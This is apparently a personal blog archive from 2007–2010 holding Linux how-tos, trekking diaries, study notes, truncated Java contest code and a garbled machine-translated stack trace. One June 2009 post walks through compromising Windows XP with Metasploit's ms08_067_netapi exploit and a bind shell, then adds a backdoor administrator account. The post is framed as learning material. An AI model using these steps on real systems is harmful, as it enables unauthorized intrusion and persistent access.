Tuesday, July 6, 2010
Confused & Idiotic feeling
Hope it will get over soon and i'll start again feeling life in better view :)
Wednesday, May 26, 2010
Writing CD/DVD ISO file using cdrecord on Linux Machine
Here is the command by using you can burn CD/DVD.
CD:
# cdrecord -v -dao speed=4 dev=/dev/cd /path/to/Fedora-13-i386-CD.iso
CDRW:
# cdrecord -v -dao speed=4 dev=/dev/cdrw /path/to/Fedora-13-i386-CD.iso
DVD:
# cdrecord -v -dao speed=4 dev=/dev/dvd /path/to/Fedora-13-i386-DVD.iso
DVDRW:
# cdrecord -v -dao speed=4 dev=/dev/dvdrw /path/to/Fedora-13-i386-DVD.iso
Check the different options which is used in above commands:
-v - turns on verbose mode.
-dao - puts us in Disc At Once mode. Since you're burning an ISO image here, you don't want to add any more data later in a future 'session', so you can just instruct cdrecord to put it in one session and finalise the disc.
speed=4 - you keep the burning speed down as it is more likely to burn properly and not fail. You can experiment with higher speeds if you want, but don't go higher than either your media or burner state they can do (and do
dev=/dev/dvd - this is the device node for your DVD drive. It's usually safe to put /dev/dvd here, but if that doesn't work, you may need to use /dev/cdrom or something else.
Finally, specify the path to the ISO image you want to burn.
--Enjoy !!
Saturday, January 23, 2010
Read your email on Gmail in your own language using Google Translator(Lab product)
रन:
निर्धारित एक नया 'डोमेन घ'
BuildNetwork बुलाया
################ बनाएँ डेटा नोड ################### के लिए फ़ाइल
पिछले पढ़ें सूचकांक: 0
# # # # में आवागमन फाइल विवरण #####
नोड संख्या दर्ज करें, और लिंक-नंबर:
# # # # बाहर आवागमन फाइल विवरण #####
नोड संख्या दर्ज करें, और लिंक-नंबर:
नोड संख्या दर्ज करें, और लिंक-नंबर:
नोड संख्या दर्ज करें, और लिंक-नंबर:
java.lang.StringIndexOutOfBoundsException: string सीमा से बाहर सूचकांक: -1
(String.java: 1949 java.lang.String.substring पर)
BBN.StructureLearn.createHuginInputFile पर (StructureLearn.java: 234)
-----------------
COM.hugin.HAPI.ExceptionHugin.throwException पर (ExceptionHugin.java: 81)
COM.hugin.HAPI.Domain.parseCase पर (Domain.java: 1382)
------------------------------------------------
Wednesday, January 6, 2010
Happy new year 2010 :)
I had good vacation at home in December. This was my second visit to home after 10 month since I have visited my home last time.
Hope for good year for me and my career.
Tuesday, November 3, 2009
"SAVE TADA 1 Nov" mission accomplished !!

After media addressing we again went to up hill and enjoyed swimming at least 2-3 hr. Around 5 we started from there and reached Chennai 9 PM. Finally I was in hostel at 11 PM. It was great fun with participation in social cause. Peter is planning second "SAVE TADA" mission. Date is yet to be announced.

Wednesday, October 28, 2009
No sound after installing Windows Version OS on Virtual Box
Finally I set my settings in Alsa-mixture and AC-97 audio controller. But this also did not works. But luckly I got the solution from Virtual Box bug report. For solution I downloaded AC'97 Audio Codecs from http://www.realtek.com.tw . After installing AC'97 codecs, Windows 7 automatically ditected sound. Now Windows 7 have full feature on Virtual Box and I am enjoying testing of Windows 7 on Virtual Box.
PS: Which software you have to download and instal
1. Go to http://www.realtek.com.tw
2. Click on "Downloads", then on "AC'97 Audio Codecs". On the downloads page I downloaded the file with the description "Vista/Win7 (32/64 bits) Driver only (ZIP file)".
3. Extracte the files and run setup.exe from "6303_Vista_Win7_PG537" folder.
Saturday, October 10, 2009
Parental Guidance Rating for my Blogs
This rating was determined based on the presence of the following words:
- xxx (2x)
- hurt (1x)
Check yours here if you are also interested to know your blogs rating :)
Wednesday, September 2, 2009
How much carbon you are producing by google search?
Friday, August 14, 2009
My second CTC trek to NAGALAPURAM
Greetings !!
Finally I went for second trip with CTC for trekking on 2ns August. For going that trek, I was very excited and started preparing 2 days before. On final night before trek means on 1st Aug i went for sleep on 1am in night and woke up at 2am. You may think 1 hr sleep, Yes total hours I slept was 1hr. That night I returned from lab at 8pm had food and went to gurunath for shopping some snacks, chocolates, glucose and battery for LED torch. I returned my room at 9:30 pm,started packing bag, took night bath and again went to my friend Vadiraj room(he was also joining trek with me) at 11:00 pm . I returned to my room at 12:30 pm and checked final packing as suggested for one day trek. At 3AM we started from hostel to main gate of IIT Madras by cycle. Wow, at 3 am morning how awesome the campus looking.
Finally we reached breakfast point near waterfall, where some people started breakfast and some started playing in water. I also jump into water and started enjoying swimming. The water was falling from more than 50 feet.

We were enjoyed around one hr and then started climbing mountain. Me and my friend reached at top in 20 minute and then took 10 minute rest and waiting for few guys who was behind us. Then we started moving down in other direction to reach water-stream. During climb down I got some scratch from thorn, because we had to cross in between deep thorn. Once we reached at water-stream, I just washed my face with natural cold water and drink some water. We took 10 minute rest and started moving ahead. Some photographer started their photographic as they started getting most awesome natural beauty. I didn't bring any cam, so I was keep moving ahead with enjoying walk. I was just feeling, I can't express in word...but I always like to seat on top of mountain and watch whole world as small. Any way after walking 30-40 minute we got another danger point where we had to cross very care. It was danger in the sense, we had to cross a area where keeping our foot was only few inches and nothing was to hold except flat rock. On the other side deep water pond was there. Some first time trekker was very scared. but other people helped them. We crossed all luggage first by human chain and then we helped the people wh was scared. Few who don't wanted to cross using rock, they cross by swimming. Once all crossed, we moved ahead for another waterfall. The coming waterfall was vary good because there was one natural slipping point, from where you can slip into waterfall from top. We reached there in 15 minute walk. Once people reached there, organizer announced this is the final point and we are not going ahead. So enjoy here as much as you can. I just took off my cloths and started slipping from slipping point as I missed this fun in Nagala15 because of swimming. This time I practiced swimming in our campus itself, so no fear was there. I slipped 2-3 times and then jumped from around 15 feet top to same fall. It was amazing experience. I jumped in Nagala15 also.
down, they started scared. But few experienced trekkers started giving encouragement. Finally decided to make people chain on that flat hill and pass the all luggage first.
Wednesday, June 17, 2009
How to recover your ubuntu after reinstalling Windows
1> sudo grub
You will get "grub>" command prompt.
2> find /boot/grub/stage1
If you get "Error 15: File not found", try the following:
find /grub/stage1
3> Using this information, set the root device (fill in X,Y with whatever the find command returned):
grub> root (hdX,Y)
4> grub> setup (hd0)
5> Exit Grub:
grub> quit
Enjoy !!
ps: For extra information click here.
Update:
If you are updating/recovering grub with ubuntu 10.04 or later, try following command: (source)
You’ll need to know the device name of your primary ubuntu partition, in this example I’m assuming it’s /dev/sda5
mount /dev/sda5 /mnt
mount --bind /proc /mnt/proc
mount --bind /dev /mnt/dev
mount --bind /sys /mnt/sys
chroot /mnt
update-grub2
grub-install /dev/sda
Enjoy Linux !!
Sunday, June 14, 2009
How to hack windows XP sp2 with metasploit framework
% nmap -A -T4
This scan gave me all open port on xp. After getting open port i use framework to perform actual attack. Open msfconsole on terminal.
%msfconsole
Now run following command
%msf->use exploit/windows/smb/ms08_067_netapi
%msf->set RHOST 192.168.xxx.xxx
%msf->set RPORT 445
%msf->set PAYLOAD generic/shell_bind_tcp
now run final command to attack
%msf->exploit
now if lucky, you will get following command prompt. Now you can do whatever you want to do.
For adding user from command prompt use following command
%C:\WINDOWS\system32>net user testuser test123 /add
the message from terminal
"net user testuser test123 /add
The command completed successfully."
For adding administrator use following command
%C:\WINDOWS\system32>net localgroup Administrators /add testuser
or C:\WINDOWS\system32>net localgroup “Power Users” /add testuser(quotes required here)
the message
"net localgroup Administrators /add testuser
The command completed successfully."
Now type exit on command prompt to exit
#C:\Documents and Settings\Administrator\Desktop>exit
exit
This is very starting. Still choosing module and attacking with different payload, etc. there are lots of thing to learn. I posted here just because i thought it will help you to learn security.
ps: This post is just for learning perpous. Please do not use in unethical manner. Respect others privacy.
Friday, May 1, 2009
Top free Open Source Projects for end users
1. Most wanted browser : Firefox
(Others edition like EE , web client, etc also available)
4. VLC media player (Best player for Linux and others too)
5. Best Linux flavour which i feel more stable among other flavour :

continued......
Tuesday, March 10, 2009
My first trek with CTC
I joined CTC in feb-2009 and went for first trek with them at Nagalapuram, near AP and TN boarder on 8th-march. What was the day...i will always remember the day. Fist time I dive from 10 feet hill and without knowing diving.
read more here
Monday, January 26, 2009
Saturday, January 3, 2009
Taste of different Linux flavor
1: Fedora - Mac OS. :: (9/10 point)
2: Ubuntu/kubuntu - Solaris. :: (8/10 point)
3: Centos. :: (7/10 point)
4: Windows (all flavor). :: (4/10 point)
Yum configuration :
Centos :
Step 1) add "failovermethod=priority" without quote in /etc/yum.repos.d/CentOS-Base.repo with every repository link.
Step 2) add
export http_proxy=http://user:password@proxyip:port/
export ftp_proxy=http://user:password@proxyip:port/
export no_proxy=.domain.com
export HTTP_PROXY=http://user:password@proxyip:port/
export FTP_PROXY=http://user:password@proxyip:port/
in file ~/.bash_profile
Step 3) run on command line "source ~/.bash_profile"
Step 4) yum update
Step 5) yum install pkg-name.
Fedora :
Step 1) sudo rpm --import /etc/pki/rpm-gpg/*
Step 2) for third party repository search "livna" and get the rpm of livna-release-*.rpm
Step 3) Export proxy same as Centos.
Step 4) sudo yum update
Step 5) yum install pkg-name
apt-get configuration :
Ubuntu 8.10 :
Step 1) Add these two line in /etc/apt/apt.conf
Acquire::http::Proxy "http://user:password@proxyip:port/";
Acquire::ftp::Proxy "ftp://user:password@proxyip:port/";
Step 2) You can export
export http_proxy=http://user:password@proxyip:port/
export ftp_proxy=http://user:password@proxyip:port/
export no_proxy=.domain.com
export HTTP_PROXY=http://user:password@proxyip:port/
export FTP_PROXY=http://user:password@proxyip:port/
these lines same as Centos or add in file /home/user/.bashrc
Saturday, October 4, 2008
Laser Etravaganza show




This was started at 8.30 pm with story telling about IIT student how students studying, sleeping in class, after finishing study going abroad by flight . How they inventing new thing. After that they played another story then after ends with story of India. Its new experience for me to see all these thing by laser beam. Its was just play of light beam with different angle but effect of that light is superb...I can't write every thing what i felt in that show...but it will be remember for me for entire life..!!
Friday, September 26, 2008
One more milestole of my career..
Wednesday, September 17, 2008
2008 MGPT-4 solution
------------------------------
import ncst.pgdst.*;
class prob1{
public char makdir(char ch, char dir){
if(dir == 'L'){
if(ch == 'N')
return 'W';
else if(ch == 'W')
return 'S';
else if(ch == 'S')
return 'E';
else if(ch == 'E')
return 'N';
}
else if(dir == 'R'){
if(ch == 'N')
return 'E';
else if(ch == 'W')
return 'N';
else if(ch == 'S')
return 'W';
else if(ch == 'E')
return 'S';
}
return '\0';
}
public static void main(String arg[]) throws IOException{
SimpleInput si = new SimpleInput();
int maxX = si.readInt();
int maxY = si.readInt();
int curX = si.readInt();
int curY = si.readInt();
si.skipWhite();
char dir = si.readChar();
//System.out.println(dir);
String s = si.readWord();
prob1 p =new prob1();
for(int i=0; i
curY--;
}else if(dir == 'S'){
if(curX > 0)
curX--;
}
}
}
System.out.println(curX+" "+curY+" "+dir);
}
}
******************************
------------------------------
File: tree.java
------------------------------
import ncst.pgdst.*;
class tree{
int val;
public static tree root;
tree left;
tree right;
tree(){
root = null;
left = null;
right = null;
}
tree(int n){
left = null;
right = null;
val =n;
}
public int findIndex(int n, int in[]){
for(int i=0; i
return 1;
else
return 2;
}
public static void main(String arg[]) throws IOException{
SimpleInput si = new SimpleInput();
int n = si.readInt();
int pre[] = new int [n];
int in[] = new int[n];
for(int i=0; i
Wednesday, July 30, 2008
Move towards IIT Madras......
Saturday, October 20, 2007
My first Term is over now........
I was busy in my first module end term examination.My quiz paper gone good but my MGPT is not cleared.This module contained four subject : (i)OOPJ(object oriented programming in java), (ii) DSAL (data structure and alogorithm)(iii)MFCS(mathematical foundation of computer science),(iv)TCOM (technical communication). All subject taught us by knowledgeable person.Two of four subject DSAL and MFCS I had studied in my engineering, but here I learned some new thing in that subject .....rest two subject was almost new for me. So I did hard work to learn that subjects but I have to do more effort in coming future also.I got always full support from our faculty.When I got difficulty I asked from faculty and got answer in quick reply.....One true and important fact for my life I learned here is : In professional life do not depend on other, always try to solve problem yourself.....And in CDAC-B faculty follow this rule strictly to make better professional....................In this module I liked the way of teaching of some faculty member such as RKVS Raman (DSAL), Sawani Bade (TCOM), Jiji Angel (Theory of Computation), Balaji R(oopj)..........Before joining the CDAC-B my English was very week but after attending some lecture of TCOM I got success to improve my communication skill. Here I would like to mention that I did not got 100% success but I got it to some extant and now it is improving.And for all this success
I would like to thanks to Sawani Madam, because she help me lots. when I approached to her with some problem she clerify my question with good example....When I consulted to madam for taking some suggestion about how to prepare for Interview of DRDO, she helped me.....TCOM is one of very helpful subject for making career in software industry because most of student's studied here has poor technical communication skill and I one of them.So,TCOM gives a chance to improve communication skill
before joined industry......In this module I expect good marks in all paper because my all test was good except TCOM because I have done one mistake and got punishment in form of lose one blog evalution. So, I expect I'll just pass the TCOM .But in rest of paper I was honest.In 10 MGPA I have only attend 8 MGPA and cleared 6MGPA.This is not very good performance by me.It's just satisfactory for me.I have to clear one more MGPA but because I had not implemented Graph in java.So, last MGPA I have not cleared.................On 18th October I had MGPT.In that MGPT I tried to solve only one question which is from Graph.In that question I have to find shortest path and count number of hope comes in path.I had written code for that and implemented in lab.When I submitted that program in PARISHAK I got 3 Y and 2 X. I was very happy because I thought I 'll cleared this MGPT but after that when I started to find cause of 2 X, I was depressed with time.And finally I got 4 Y and 1 X and time was over.So, my MGPT not cleared.......I am trying till today why my code given one X .I found that when only two node is given as input my code giving 0 as output but the correct output is 1.If I got this error at that time I was cleared my MGPT .But time is gone and never returned. So, I promised to myself in next MGPT I'll think on all possibility for problem ....................